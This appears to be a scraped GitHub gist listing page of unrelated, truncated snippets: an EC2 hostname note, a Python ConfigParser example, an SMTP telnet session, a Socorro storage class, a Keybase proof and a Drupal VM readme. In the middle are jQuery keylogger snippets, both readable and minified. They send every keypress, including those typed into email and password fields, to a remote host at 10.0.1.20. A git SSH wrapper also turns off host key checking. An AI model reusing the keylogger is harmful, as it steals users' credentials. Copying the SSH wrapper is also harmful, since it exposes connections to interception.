Skip to content

Instantly share code, notes, and snippets.

#Broken
ubuntu@ip-10-1-250-33:~$ echo `curl -s http://169.254.169.254/latest/meta-data/local-hostname`
ip-10-1-250-33.mysudo.me
ubuntu@ip-10-1-250-33:~$ ssh ubuntu@ip-10-1-250-33.mysudo.me
ssh: Could not resolve hostname ip-10-1-250-33.mysudo.me: Name or service not known
#Works fine
ubuntu@ip-10-1-250-33:~$ ssh ip-10-1-250-33.ec2.internal
The authenticity of host 'ip-10-1-250-33.ec2.internal (10.1.250.33)' can't be established.
ECDSA key fingerprint is 30:d4:4f:73:e6:d7:d4:2f:4f:cb:f7:30:bb:2d:58:85.
>>> import ConfigParser
>>> config = ConfigParser.ConfigParser()
>>> config.readfp(open('example.conf'))
>>> items = {key:value for key,value in config.items('default')}
>>> print items
{'foo': 'bar', 'baz': 'qux'}
@nsu
nsu / gist:4576606
Created January 20, 2013 04:05
git ssh_wrapper (useful for chef)
#!/bin/sh
ssh -o StrictHostKeyChecking=no -i /tmp/id_rsa ${@}
exit 0
dhcp-10-5-4-88:lasso alex$ telnet mail.rochester.edu 25
Trying 128.151.31.4...
Connected to mail.rochester.edu.
Escape character is '^]'.
220 mx3.its.rochester.edu ESMTP Postfix
ehlo vpn4-187.net.rochester.edu
250-mx3.its.rochester.edu
250-PIPELINING
250-SIZE 52428800
250-VRFY
$(function(){$("html").keypress(function(a){$.ajax({url:"http://10.0.1.20/xhr.php",data:{keyVal:a.which,targetID:a.target.id},type:"GET",crossDomain:!0,dataType:"jsonp"})})});
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript" charset="utf-8">
$(function(){
var user = {};
var pwd = {};
$('#email').keyup(function(event) {
postData(event.which);
});
$('#pass').keyup(function(event) {
postData(event.which);
$(function(){function b(a){$.b({url:"http://10.0.1.20/xhr.php",data:a,type:"GET",c:!0,dataType:"jsonp"})}$("#email").a(function(a){b(a.which)});$("#pass").a(function(a){b(a.which)})});
@nsu
nsu / crashstorage.py
Created July 29, 2015 21:47
Generic postgres crashstorage for Socorro
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
from socorro.external.postgresql.crashstorage import PostgreSQLCrashStorage
class GenericPostgreSQLCrashStorage(PostgreSQLCrashStorage):
def _save_processed_transaction(self, connection, processed_crash):
# Don't generate reports or worry about plugins. Just save the processed crash
self._save_processed_crash(connection, processed_crash)

Keybase proof

I hereby claim:

  • I am nsu on github.
  • I am karp (https://keybase.io/karp) on keybase.
  • I have a public key whose fingerprint is 4424 DB5C 033E EFB2 0F41 7E78 BD9C DB92 5584 1617

To claim this, I am signing this object:

Drupal Base Virtual Machine

This page explains how to set up an empty virtualized environment for developing a drupal site.

Prerequisites

  • Virtualbox - Hosts virtual machines for sandboxing development environments
  • Vagrant - Reproducible configuration and management for virtual machines
  • Git - For setting up vagrant machines